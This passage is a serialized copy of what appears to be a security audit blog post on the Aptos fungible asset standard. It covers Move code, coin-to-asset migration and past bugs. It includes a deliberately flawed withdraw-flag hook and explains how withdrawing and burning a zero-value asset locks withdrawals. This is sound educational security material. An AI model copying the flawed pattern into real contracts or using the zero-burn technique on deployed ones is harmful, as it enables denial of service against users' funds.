assert_withdraw_flag",{"type":23,"tag":481,"props":63888,"children":63889},{"style":525},[63890],{"type":28,"value":618},{"type":23,"tag":481,"props":63892,"children":63893},{"style":497},[63894],{"type":28,"value":1539},{"type":23,"tag":481,"props":63896,"children":63897},{"style":525},[63898],{"type":28,"value":1366},{"type":23,"tag":481,"props":63900,"children":63901},{"class":483,"line":531},[63902,63906,63910],{"type":23,"tag":481,"props":63903,"children":63904},{"style":525},[63905],{"type":28,"value":60246},{"type":23,"tag":481,"props":63907,"children":63908},{"style":514},[63909],{"type":28,"value":7074},{"type":23,"tag":481,"props":63911,"children":63912},{"style":525},[63913],{"type":28,"value":9259},{"type":23,"tag":481,"props":63915,"children":63916},{"class":483,"line":567},[63917,63922,63926,63930],{"type":23,"tag":481,"props":63918,"children":63919},{"style":610},[63920],{"type":28,"value":63921}," set_withdraw_flag",{"type":23,"tag":481,"props":63923,"children":63924},{"style":525},[63925],{"type":28,"value":618},{"type":23,"tag":481,"props":63927,"children":63928},{"style":497},[63929],{"type":28,"value":5654},{"type":23,"tag":481,"props":63931,"children":63932},{"style":525},[63933],{"type":28,"value":1366},{"type":23,"tag":481,"props":63935,"children":63936},{"class":483,"line":678},[63937,63941,63945,63949,63953,63957,63961,63965,63969,63973],{"type":23,"tag":481,"props":63938,"children":63939},{"style":525},[63940],{"type":28,"value":63489},{"type":23,"tag":481,"props":63942,"children":63943},{"style":514},[63944],{"type":28,"value":1006},{"type":23,"tag":481,"props":63946,"children":63947},{"style":610},[63948],{"type":28,"value":63677},{"type":23,"tag":481,"props":63950,"children":63951},{"style":525},[63952],{"type":28,"value":618},{"type":23,"tag":481,"props":63954,"children":63955},{"style":508},[63956],{"type":28,"value":63507},{"type":23,"tag":481,"props":63958,"children":63959},{"style":525},[63960],{"type":28,"value":588},{"type":23,"tag":481,"props":63962,"children":63963},{"style":508},[63964],{"type":28,"value":3417},{"type":23,"tag":481,"props":63966,"children":63967},{"style":525},[63968],{"type":28,"value":588},{"type":23,"tag":481,"props":63970,"children":63971},{"style":508},[63972],{"type":28,"value":17804},{"type":23,"tag":481,"props":63974,"children":63975},{"style":525},[63976],{"type":28,"value":1366},{"type":23,"tag":481,"props":63978,"children":63979},{"class":483,"line":784},[63980,63984,63988],{"type":23,"tag":481,"props":63981,"children":63982},{"style":525},[63983],{"type":28,"value":60246},{"type":23,"tag":481,"props":63985,"children":63986},{"style":514},[63987],{"type":28,"value":7074},{"type":23,"tag":481,"props":63989,"children":63990},{"style":525},[63991],{"type":28,"value":9259},{"type":23,"tag":481,"props":63993,"children":63994},{"class":483,"line":812},[63995],{"type":23,"tag":481,"props":63996,"children":63997},{"style":525},[63998],{"type":28,"value":879},{"type":23,"tag":481,"props":64000,"children":64001},{"class":483,"line":825},[64002],{"type":23,"tag":481,"props":64003,"children":64004},{"emptyLinePlaceholder":15},[64005],{"type":28,"value":1210},{"type":23,"tag":481,"props":64007,"children":64008},{"class":483,"line":843},[64009,64013,64017,64021,64025,64029,64033,64037,64041,64045,64049,64053,64057,64061,64065,64069,64073,64077,64081,64085,64089,64093,64097,64101,64105,64109,64113,64117,64121],{"type":23,"tag":481,"props":64010,"children":64011},{"style":508},[64012],{"type":28,"value":59203},{"type":23,"tag":481,"props":64014,"children":64015},{"style":508},[64016],{"type":28,"value":3684},{"type":23,"tag":481,"props":64018,"children":64019},{"style":508},[64020],{"type":28,"value":17769},{"type":23,"tag":481,"props":64022,"children":64023},{"style":525},[64024],{"type":28,"value":3282},{"type":23,"tag":481,"props":64026,"children":64027},{"style":943},[64028],{"type":28,"value":3464},{"type":23,"tag":481,"props":64030,"children":64031},{"style":514},[64032],{"type":28,"value":287},{"type":23,"tag":481,"props":64034,"children":64035},{"style":508},[64036],{"type":28,"value":3408},{"type":23,"tag":481,"props":64038,"children":64039},{"style":525},[64040],{"type":28,"value":5089},{"type":23,"tag":481,"props":64042,"children":64043},{"style":508},[64044],{"type":28,"value":3417},{"type":23,"tag":481,"props":64046,"children":64047},{"style":514},[64048],{"type":28,"value":287},{"type":23,"tag":481,"props":64050,"children":64051},{"style":943},[64052],{"type":28,"value":59089},{"type":23,"tag":481,"props":64054,"children":64055},{"style":525},[64056],{"type":28,"value":3282},{"type":23,"tag":481,"props":64058,"children":64059},{"style":943},[64060],{"type":28,"value":3464},{"type":23,"tag":481,"props":64062,"children":64063},{"style":525},[64064],{"type":28,"value":4108},{"type":23,"tag":481,"props":64066,"children":64067},{"style":508},[64068],{"type":28,"value":17804},{"type":23,"tag":481,"props":64070,"children":64071},{"style":514},[64072],{"type":28,"value":287},{"type":23,"tag":481,"props":64074,"children":64075},{"style":943},[64076],{"type":28,"value":3336},{"type":23,"tag":481,"props":64078,"children":64079},{"style":525},[64080],{"type":28,"value":588},{"type":23,"tag":481,"props":64082,"children":64083},{"style":508},[64084],{"type":28,"value":63507},{"type":23,"tag":481,"props":64086,"children":64087},{"style":514},[64088],{"type":28,"value":287},{"type":23,"tag":481,"props":64090,"children":64091},{"style":514},[64092],{"type":28,"value":4619},{"type":23,"tag":481,"props":64094,"children":64095},{"style":943},[64096],{"type":28,"value":62953},{"type":23,"tag":481,"props":64098,"children":64099},{"style":525},[64100],{"type":28,"value":642},{"type":23,"tag":481,"props":64102,"children":64103},{"style":514},[64104],{"type":28,"value":287},{"type":23,"tag":481,"props":64106,"children":64107},{"style":943},[64108],{"type":28,"value":59068},{"type":23,"tag":481,"props":64110,"children":64111},{"style":508},[64112],{"type":28,"value":5045},{"type":23,"tag":481,"props":64114,"children":64115},{"style":525},[64116],{"type":28,"value":20531},{"type":23,"tag":481,"props":64118,"children":64119},{"style":514},[64120],{"type":28,"value":7074},{"type":23,"tag":481,"props":64122,"children":64123},{"style":525},[64124],{"type":28,"value":59294},{"type":23,"tag":481,"props":64126,"children":64127},{"class":483,"line":864},[64128,64132,64136,64140],{"type":23,"tag":481,"props":64129,"children":64130},{"style":610},[64131],{"type":28,"value":63886},{"type":23,"tag":481,"props":64133,"children":64134},{"style":525},[64135],{"type":28,"value":618},{"type":23,"tag":481,"props":64137,"children":64138},{"style":497},[64139],{"type":28,"value":5654},{"type":23,"tag":481,"props":64141,"children":64142},{"style":525},[64143],{"type":28,"value":1366},{"type":23,"tag":481,"props":64145,"children":64146},{"class":483,"line":873},[64147,64151,64155],{"type":23,"tag":481,"props":64148,"children":64149},{"style":525},[64150],{"type":28,"value":60246},{"type":23,"tag":481,"props":64152,"children":64153},{"style":514},[64154],{"type":28,"value":7074},{"type":23,"tag":481,"props":64156,"children":64157},{"style":525},[64158],{"type":28,"value":9259},{"type":23,"tag":481,"props":64160,"children":64161},{"class":483,"line":1125},[64162,64166,64170,64174],{"type":23,"tag":481,"props":64163,"children":64164},{"style":610},[64165],{"type":28,"value":63921},{"type":23,"tag":481,"props":64167,"children":64168},{"style":525},[64169],{"type":28,"value":618},{"type":23,"tag":481,"props":64171,"children":64172},{"style":497},[64173],{"type":28,"value":1539},{"type":23,"tag":481,"props":64175,"children":64176},{"style":525},[64177],{"type":28,"value":1366},{"type":23,"tag":481,"props":64179,"children":64180},{"class":483,"line":1142},[64181,64185,64189,64193,64197,64201,64205,64209,64213,64217],{"type":23,"tag":481,"props":64182,"children":64183},{"style":525},[64184],{"type":28,"value":63489},{"type":23,"tag":481,"props":64186,"children":64187},{"style":514},[64188],{"type":28,"value":1006},{"type":23,"tag":481,"props":64190,"children":64191},{"style":610},[64192],{"type":28,"value":63498},{"type":23,"tag":481,"props":64194,"children":64195},{"style":525},[64196],{"type":28,"value":618},{"type":23,"tag":481,"props":64198,"children":64199},{"style":508},[64200],{"type":28,"value":63507},{"type":23,"tag":481,"props":64202,"children":64203},{"style":525},[64204],{"type":28,"value":588},{"type":23,"tag":481,"props":64206,"children":64207},{"style":508},[64208],{"type":28,"value":3417},{"type":23,"tag":481,"props":64210,"children":64211},{"style":525},[64212],{"type":28,"value":588},{"type":23,"tag":481,"props":64214,"children":64215},{"style":508},[64216],{"type":28,"value":17804},{"type":23,"tag":481,"props":64218,"children":64219},{"style":525},[64220],{"type":28,"value":675},{"type":23,"tag":481,"props":64222,"children":64223},{"class":483,"line":1159},[64224],{"type":23,"tag":481,"props":64225,"children":64226},{"style":525},[64227],{"type":28,"value":1443},{"type":23,"tag":24,"props":64229,"children":64230},{},[64231],{"type":28,"value":64232},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":63714,"props":64234,"children":64235},{},[64236,64241],{"type":23,"tag":24,"props":64237,"children":64238},{},[64239],{"type":28,"value":64240},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":63745,"props":64242,"children":64243},{"v-slot:answer-0":7},[64244,64264],{"type":23,"tag":24,"props":64245,"children":64246},{},[64247,64249,64254,64256,64262],{"type":28,"value":64248},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":64,"props":64250,"children":64252},{"className":64251},[],[64253],{"type":28,"value":59039},{"type":28,"value":64255}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":64,"props":64257,"children":64259},{"className":64258},[],[64260],{"type":28,"value":64261},"fungible_asset::destroy_zero",{"type":28,"value":64263},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":24,"props":64265,"children":64266},{},[64267],{"type":28,"value":64268},"It's important to understand all the features in the standard.",{"type":23,"tag":31,"props":64270,"children":64272},{"id":64271},"migrating-from-coins-to-fungible-assets",[64273],{"type":28,"value":64274},"Migrating from coins to fungible assets",{"type":23,"tag":24,"props":64276,"children":64277},{},[64278,64280,64285],{"type":28,"value":64279},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":64,"props":64281,"children":64283},{"className":64282},[],[64284],{"type":28,"value":58494},{"type":28,"value":64286},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":64288,"props":64289,"children":64290},"note",{},[64291],{"type":23,"tag":24,"props":64292,"children":64293},{},[64294,64296,64301,64303,64308],{"type":28,"value":64295},"While the ",{"type":23,"tag":64,"props":64297,"children":64299},{"className":64298},[],[64300],{"type":28,"value":58494},{"type":28,"value":64302}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":64,"props":64304,"children":64306},{"className":64305},[],[64307],{"type":28,"value":58494},{"type":28,"value":199},{"type":23,"tag":24,"props":64310,"children":64311},{},[64312,64313,64319,64321,64326,64328,64333],{"type":28,"value":14104},{"type":23,"tag":64,"props":64314,"children":64316},{"className":64315},[],[64317],{"type":28,"value":64318},"coin_to_fungible_asset",{"type":28,"value":64320}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":64,"props":64322,"children":64324},{"className":64323},[],[64325],{"type":28,"value":58494},{"type":28,"value":64327}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":64,"props":64329,"children":64331},{"className":64330},[],[64332],{"type":28,"value":58494},{"type":28,"value":64334}," is not allowed.",{"type":23,"tag":435,"props":64336,"children":64338},{"className":475,"code":64337,"language":474,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[64339],{"type":23,"tag":64,"props":64340,"children":64341},{"__ignoreMap":7},[64342,64370,64397,64433,64466,64499,64535],{"type":23,"tag":481,"props":64343,"children":64344},{"class":483,"line":484},[64345,64349,64353,64358,64362,64366],{"type":23,"tag":481,"props":64346,"children":64347},{"style":508},[64348],{"type":28,"value":59203},{"type":23,"tag":481,"props":64350,"children":64351},{"style":508},[64352],{"type":28,"value":3684},{"type":23,"tag":481,"props":64354,"children":64355},{"style":508},[64356],{"type":28,"value":64357}," coin_to_fungible_asset",{"type":23,"tag":481,"props":64359,"children":64360},{"style":525},[64361],{"type":28,"value":3282},{"type":23,"tag":481,"props":64363,"children":64364},{"style":943},[64365],{"type":28,"value":4061},{"type":23,"tag":481,"props":64367,"children":64368},{"style":525},[64369],{"type":28,"value":4066},{"type":23,"tag":481,"props":64371,"children":64372},{"class":483,"line":351},[64373,64377,64381,64385,64389,64393],{"type":23,"tag":481,"props":64374,"children":64375},{"style":508},[64376],{"type":28,"value":58713},{"type":23,"tag":481,"props":64378,"children":64379},{"style":514},[64380],{"type":28,"value":287},{"type":23,"tag":481,"props":64382,"children":64383},{"style":943},[64384],{"type":28,"value":3277},{"type":23,"tag":481,"props":64386,"children":64387},{"style":525},[64388],{"type":28,"value":3282},{"type":23,"tag":481,"props":64390,"children":64391},{"style":943},[64392],{"type":28,"value":4061},{"type":23,"tag":481,"props":64394,"children":64395},{"style":525},[64396],{"type":28,"value":3469},{"type":23,"tag":481,"props":64398,"children":64399},{"class":483,"line":531},[64400,64404,64408,64412,64416,64421,64425,64429],{"type":23,"tag":481,"props":64401,"children":64402},{"style":525},[64403],{"type":28,"value":642},{"type":23,"tag":481,"props":64405,"children":64406},{"style":514},[64407],{"type":28,"value":287},{"type":23,"tag":481,"props":64409,"children":64410},{"style":943},[64411],{"type":28,"value":59068},{"type":23,"tag":481,"props":64413,"children":64414},{"style":508},[64415],{"type":28,"value":5045},{"type":23,"tag":481,"props":64417,"children":64418},{"style":943},[64419],{"type":28,"value":64420}," CoinConversionMap",{"type":23,"tag":481,"props":64422,"children":64423},{"style":525},[64424],{"type":28,"value":588},{"type":23,"tag":481,"props":64426,"children":64427},{"style":943},[64428],{"type":28,"value":4191},{"type":23,"tag":481,"props":64430,"children":64431},{"style":525},[64432],{"type":28,"value":809},{"type":23,"tag":481,"props":64434,"children":64435},{"class":483,"line":567},[64436,64440,64445,64449,64454,64458,64462],{"type":23,"tag":481,"props":64437,"children":64438},{"style":497},[64439],{"type":28,"value":500},{"type":23,"tag":481,"props":64441,"children":64442},{"style":508},[64443],{"type":28,"value":64444}," metadata",{"type":23,"tag":481,"props":64446,"children":64447},{"style":514},[64448],{"type":28,"value":517},{"type":23,"tag":481,"props":64450,"children":64451},{"style":508},[64452],{"type":28,"value":64453}," ensure_paired_metadata",{"type":23,"tag":481,"props":64455,"children":64456},{"style":525},[64457],{"type":28,"value":3282},{"type":23,"tag":481,"props":64459,"children":64460},{"style":943},[64461],{"type":28,"value":4061},{"type":23,"tag":481,"props":64463,"children":64464},{"style":525},[64465],{"type":28,"value":5931},{"type":23,"tag":481,"props":64467,"children":64468},{"class":483,"line":678},[64469,64473,64478,64482,64487,64491,64495],{"type":23,"tag":481,"props":64470,"children":64471},{"style":497},[64472],{"type":28,"value":500},{"type":23,"tag":481,"props":64474,"children":64475},{"style":508},[64476],{"type":28,"value":64477}," amount",{"type":23,"tag":481,"props":64479,"children":64480},{"style":514},[64481],{"type":28,"value":517},{"type":23,"tag":481,"props":64483,"children":64484},{"style":610},[64485],{"type":28,"value":64486}," burn_internal",{"type":23,"tag":481,"props":64488,"children":64489},{"style":525},[64490],{"type":28,"value":618},{"type":23,"tag":481,"props":64492,"children":64493},{"style":508},[64494],{"type":28,"value":58461},{"type":23,"tag":481,"props":64496,"children":64497},{"style":525},[64498],{"type":28,"value":1366},{"type":23,"tag":481,"props":64500,"children":64501},{"class":483,"line":784},[64502,64506,64510,64515,64519,64523,64527,64531],{"type":23,"tag":481,"props":64503,"children":64504},{"style":525},[64505],{"type":28,"value":63489},{"type":23,"tag":481,"props":64507,"children":64508},{"style":514},[64509],{"type":28,"value":1006},{"type":23,"tag":481,"props":64511,"children":64512},{"style":610},[64513],{"type":28,"value":64514},"mint_internal",{"type":23,"tag":481,"props":64516,"children":64517},{"style":525},[64518],{"type":28,"value":618},{"type":23,"tag":481,"props":64520,"children":64521},{"style":508},[64522],{"type":28,"value":59840},{"type":23,"tag":481,"props":64524,"children":64525},{"style":525},[64526],{"type":28,"value":588},{"type":23,"tag":481,"props":64528,"children":64529},{"style":508},[64530],{"type":28,"value":17804},{"type":23,"tag":481,"props":64532,"children":64533},{"style":525},[64534],{"type":28,"value":675},{"type":23,"tag":481,"props":64536,"children":64537},{"class":483,"line":812},[64538],{"type":23,"tag":481,"props":64539,"children":64540},{"style":525},[64541],{"type":28,"value":1443},{"type":23,"tag":24,"props":64543,"children":64544},{},[64545,64547,64554],{"type":28,"value":64546},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":190,"props":64548,"children":64551},{"href":64549,"rel":64550},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[194],[64552],{"type":28,"value":64553},"noticed an overlooked detail",{"type":28,"value":64555}," in the linking process.",{"type":23,"tag":435,"props":64557,"children":64559},{"className":475,"code":64558,"language":474,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[64560],{"type":23,"tag":64,"props":64561,"children":64562},{"__ignoreMap":7},[64563,64578,64598,64615,64671,64692,64712,64732,64762,64789,64796],{"type":23,"tag":481,"props":64564,"children":64565},{"class":483,"line":484},[64566,64570,64574],{"type":23,"tag":481,"props":64567,"children":64568},{"style":525},[64569],{"type":28,"value":1269},{"type":23,"tag":481,"props":64571,"children":64572},{"style":514},[64573],{"type":28,"value":7074},{"type":23,"tag":481,"props":64575,"children":64576},{"style":525},[64577],{"type":28,"value":9259},{"type":23,"tag":481,"props":64579,"children":64580},{"class":483,"line":351},[64581,64585,64589,64594],{"type":23,"tag":481,"props":64582,"children":64583},{"style":525},[64584],{"type":28,"value":60137},{"type":23,"tag":481,"props":64586,"children":64587},{"style":514},[64588],{"type":28,"value":1006},{"type":23,"tag":481,"props":64590,"children":64591},{"style":610},[64592],{"type":28,"value":64593},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":481,"props":64595,"children":64596},{"style":525},[64597],{"type":28,"value":988},{"type":23,"tag":481,"props":64599,"children":64600},{"class":483,"line":531},[64601,64606,64611],{"type":23,"tag":481,"props":64602,"children":64603},{"style":514},[64604],{"type":28,"value":64605}," &",{"type":23,"tag":481,"props":64607,"children":64608},{"style":508},[64609],{"type":28,"value":64610},"metadata_object_cref",{"type":23,"tag":481,"props":64612,"children":64613},{"style":525},[64614],{"type":28,"value":1033},{"type":23,"tag":481,"props":64616,"children":64617},{"class":483,"line":567},[64618,64623,64627,64632,64636,64641,64645,64649,64654,64658,64662,64666],{"type":23,"tag":481,"props":64619,"children":64620},{"style":525},[64621],{"type":28,"value":64622}," option",{"type":23,"tag":481,"props":64624,"children":64625},{"style":514},[64626],{"type":28,"value":1006},{"type":23,"tag":481,"props":64628,"children":64629},{"style":610},[64630],{"type":28,"value":64631},"map",{"type":23,"tag":481,"props":64633,"children":64634},{"style":525},[64635],{"type":28,"value":618},{"type":23,"tag":481,"props":64637,"children":64638},{"style":508},[64639],{"type":28,"value":64640},"coin_supply",{"type":23,"tag":481,"props":64642,"children":64643},{"style":525},[64644],{"type":28,"value":3282},{"type":23,"tag":481,"props":64646,"children":64647},{"style":943},[64648],{"type":28,"value":4061},{"type":23,"tag":481,"props":64650,"children":64651},{"style":525},[64652],{"type":28,"value":64653},">(), ",{"type":23,"tag":481,"props":64655,"children":64656},{"style":514},[64657],{"type":28,"value":7901},{"type":23,"tag":481,"props":64659,"children":64660},{"style":508},[64661],{"type":28,"value":593},{"type":23,"tag":481,"props":64663,"children":64664},{"style":514},[64665],{"type":28,"value":7901},{"type":23,"tag":481,"props":64667,"children":64668},{"style":525},[64669],{"type":28,"value":64670}," MAX_U128),\n",{"type":23,"tag":481,"props":64672,"children":64673},{"class":483,"line":678},[64674,64679,64683,64687],{"type":23,"tag":481,"props":64675,"children":64676},{"style":508},[64677],{"type":28,"value":64678}," name",{"type":23,"tag":481,"props":64680,"children":64681},{"style":525},[64682],{"type":28,"value":3282},{"type":23,"tag":481,"props":64684,"children":64685},{"style":943},[64686],{"type":28,"value":4061},{"type":23,"tag":481,"props":64688,"children":64689},{"style":525},[64690],{"type":28,"value":64691},">(),\n",{"type":23,"tag":481,"props":64693,"children":64694},{"class":483,"line":784},[64695,64700,64704,64708],{"type":23,"tag":481,"props":64696,"children":64697},{"style":508},[64698],{"type":28,"value":64699}," symbol",{"type":23,"tag":481,"props":64701,"children":64702},{"style":525},[64703],{"type":28,"value":3282},{"type":23,"tag":481,"props":64705,"children":64706},{"style":943},[64707],{"type":28,"value":4061},{"type":23,"tag":481,"props":64709,"children":64710},{"style":525},[64711],{"type":28,"value":64691},{"type":23,"tag":481,"props":64713,"children":64714},{"class":483,"line":812},[64715,64720,64724,64728],{"type":23,"tag":481,"props":64716,"children":64717},{"style":508},[64718],{"type":28,"value":64719}," decimals",{"type":23,"tag":481,"props":64721,"children":64722},{"style":525},[64723],{"type":28,"value":3282},{"type":23,"tag":481,"props":64725,"children":64726},{"style":943},[64727],{"type":28,"value":4061},{"type":23,"tag":481,"props":64729,"children":64730},{"style":525},[64731],{"type":28,"value":64691},{"type":23,"tag":481,"props":64733,"children":64734},{"class":483,"line":825},[64735,64740,64744,64749,64753,64758],{"type":23,"tag":481,"props":64736,"children":64737},{"style":525},[64738],{"type":28,"value":64739}," string",{"type":23,"tag":481,"props":64741,"children":64742},{"style":514},[64743],{"type":28,"value":1006},{"type":23,"tag":481,"props":64745,"children":64746},{"style":610},[64747],{"type":28,"value":64748},"utf8",{"type":23,"tag":481,"props":64750,"children":64751},{"style":525},[64752],{"type":28,"value":618},{"type":23,"tag":481,"props":64754,"children":64755},{"style":1805},[64756],{"type":28,"value":64757},"b\"\"",{"type":23,"tag":481,"props":64759,"children":64760},{"style":525},[64761],{"type":28,"value":4214},{"type":23,"tag":481,"props":64763,"children":64764},{"class":483,"line":843},[64765,64769,64773,64777,64781,64785],{"type":23,"tag":481,"props":64766,"children":64767},{"style":525},[64768],{"type":28,"value":64739},{"type":23,"tag":481,"props":64770,"children":64771},{"style":514},[64772],{"type":28,"value":1006},{"type":23,"tag":481,"props":64774,"children":64775},{"style":610},[64776],{"type":28,"value":64748},{"type":23,"tag":481,"props":64778,"children":64779},{"style":525},[64780],{"type":28,"value":618},{"type":23,"tag":481,"props":64782,"children":64783},{"style":1805},[64784],{"type":28,"value":64757},{"type":23,"tag":481,"props":64786,"children":64787},{"style":525},[64788],{"type":28,"value":4214},{"type":23,"tag":481,"props":64790,"children":64791},{"class":483,"line":864},[64792],{"type":23,"tag":481,"props":64793,"children":64794},{"style":525},[64795],{"type":28,"value":1366},{"type":23,"tag":481,"props":64797,"children":64798},{"class":483,"line":873},[64799,64803,64807],{"type":23,"tag":481,"props":64800,"children":64801},{"style":525},[64802],{"type":28,"value":1269},{"type":23,"tag":481,"props":64804,"children":64805},{"style":514},[64806],{"type":28,"value":7074},{"type":23,"tag":481,"props":64808,"children":64809},{"style":525},[64810],{"type":28,"value":9259},{"type":23,"tag":24,"props":64812,"children":64813},{},[64814,64816,64821],{"type":28,"value":64815},"When the linked fungible asset was created, the current ",{"type":23,"tag":64,"props":64817,"children":64819},{"className":64818},[],[64820],{"type":28,"value":58494},{"type":28,"value":64822}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":24,"props":64824,"children":64825},{},[64826,64828,64833,64835,64841,64843,64848],{"type":28,"value":64827},"Users can manually migrate their ",{"type":23,"tag":64,"props":64829,"children":64831},{"className":64830},[],[64832],{"type":28,"value":58656},{"type":28,"value":64834}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":64,"props":64836,"children":64838},{"className":64837},[],[64839],{"type":28,"value":64840},"\u003CCoinStore\u003CCoinType>>",{"type":28,"value":64842}," from the caller. All coins in the ",{"type":23,"tag":64,"props":64844,"children":64846},{"className":64845},[],[64847],{"type":28,"value":58656},{"type":28,"value":64849}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":435,"props":64851,"children":64853},{"className":475,"code":64852,"language":474,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[64854],{"type":23,"tag":64,"props":64855,"children":64856},{"__ignoreMap":7},[64857,64865,64897,64917,64953,64994],{"type":23,"tag":481,"props":64858,"children":64859},{"class":483,"line":484},[64860],{"type":23,"tag":481,"props":64861,"children":64862},{"style":488},[64863],{"type":28,"value":64864},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":481,"props":64866,"children":64867},{"class":483,"line":351},[64868,64872,64876,64880,64885,64889,64893],{"type":23,"tag":481,"props":64869,"children":64870},{"style":508},[64871],{"type":28,"value":59203},{"type":23,"tag":481,"props":64873,"children":64874},{"style":508},[64875],{"type":28,"value":60170},{"type":23,"tag":481,"props":64877,"children":64878},{"style":508},[64879],{"type":28,"value":3684},{"type":23,"tag":481,"props":64881,"children":64882},{"style":508},[64883],{"type":28,"value":64884}," migrate_to_fungible_store",{"type":23,"tag":481,"props":64886,"children":64887},{"style":525},[64888],{"type":28,"value":3282},{"type":23,"tag":481,"props":64890,"children":64891},{"style":943},[64892],{"type":28,"value":4061},{"type":23,"tag":481,"props":64894,"children":64895},{"style":525},[64896],{"type":28,"value":4066},{"type":23,"tag":481,"props":64898,"children":64899},{"class":483,"line":531},[64900,64904,64908,64912],{"type":23,"tag":481,"props":64901,"children":64902},{"style":508},[64903],{"type":28,"value":22682},{"type":23,"tag":481,"props":64905,"children":64906},{"style":514},[64907],{"type":28,"value":287},{"type":23,"tag":481,"props":64909,"children":64910},{"style":514},[64911],{"type":28,"value":4619},{"type":23,"tag":481,"props":64913,"children":64914},{"style":508},[64915],{"type":28,"value":64916},"signer\n",{"type":23,"tag":481,"props":64918,"children":64919},{"class":483,"line":567},[64920,64924,64928,64932,64936,64941,64945,64949],{"type":23,"tag":481,"props":64921,"children":64922},{"style":525},[64923],{"type":28,"value":598},{"type":23,"tag":481,"props":64925,"children":64926},{"style":508},[64927],{"type":28,"value":3821},{"type":23,"tag":481,"props":64929,"children":64930},{"style":943},[64931],{"type":28,"value":58677},{"type":23,"tag":481,"props":64933,"children":64934},{"style":525},[64935],{"type":28,"value":588},{"type":23,"tag":481,"props":64937,"children":64938},{"style":943},[64939],{"type":28,"value":64940},"CoinConversionMap",{"type":23,"tag":481,"props":64942,"children":64943},{"style":525},[64944],{"type":28,"value":588},{"type":23,"tag":481,"props":64946,"children":64947},{"style":943},[64948],{"type":28,"value":4191},{"type":23,"tag":481,"props":64950,"children":64951},{"style":525},[64952],{"type":28,"value":809},{"type":23,"tag":481,"props":64954,"children":64955},{"class":483,"line":678},[64956,64961,64965,64969,64974,64978,64982,64986,64990],{"type":23,"tag":481,"props":64957,"children":64958},{"style":508},[64959],{"type":28,"value":64960}," maybe_convert_to_fungible_store",{"type":23,"tag":481,"props":64962,"children":64963},{"style":525},[64964],{"type":28,"value":3282},{"type":23,"tag":481,"props":64966,"children":64967},{"style":943},[64968],{"type":28,"value":4061},{"type":23,"tag":481,"props":64970,"children":64971},{"style":525},[64972],{"type":28,"value":64973},">(signer",{"type":23,"tag":481,"props":64975,"children":64976},{"style":514},[64977],{"type":28,"value":1006},{"type":23,"tag":481,"props":64979,"children":64980},{"style":610},[64981],{"type":28,"value":4687},{"type":23,"tag":481,"props":64983,"children":64984},{"style":525},[64985],{"type":28,"value":618},{"type":23,"tag":481,"props":64987,"children":64988},{"style":508},[64989],{"type":28,"value":10440},{"type":23,"tag":481,"props":64991,"children":64992},{"style":525},[64993],{"type":28,"value":4701},{"type":23,"tag":481,"props":64995,"children":64996},{"class":483,"line":784},[64997],{"type":23,"tag":481,"props":64998,"children":64999},{"style":525},[65000],{"type":28,"value":1443},{"type":23,"tag":24,"props":65002,"children":65003},{},[65004,65006,65011,65013,65018],{"type":28,"value":65005},"A curious reader might wonder about the fate of the ",{"type":23,"tag":64,"props":65007,"children":65009},{"className":65008},[],[65010],{"type":28,"value":58656},{"type":28,"value":65012}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":64,"props":65014,"children":65016},{"className":65015},[],[65017],{"type":28,"value":58656},{"type":28,"value":65019}," to ensure consistency.",{"type":23,"tag":63714,"props":65021,"children":65022},{},[65023,65042],{"type":23,"tag":24,"props":65024,"children":65025},{},[65026,65028,65033,65035,65040],{"type":28,"value":65027},"Could an attacker convert their ",{"type":23,"tag":64,"props":65029,"children":65031},{"className":65030},[],[65032],{"type":28,"value":58656},{"type":28,"value":65034}," to a primary fungible store and then register another ",{"type":23,"tag":64,"props":65036,"children":65038},{"className":65037},[],[65039],{"type":28,"value":58656},{"type":28,"value":65041}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":63745,"props":65043,"children":65044},{"v-slot:answer-0":7},[65045],{"type":23,"tag":24,"props":65046,"children":65047},{},[65048],{"type":28,"value":65049},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing 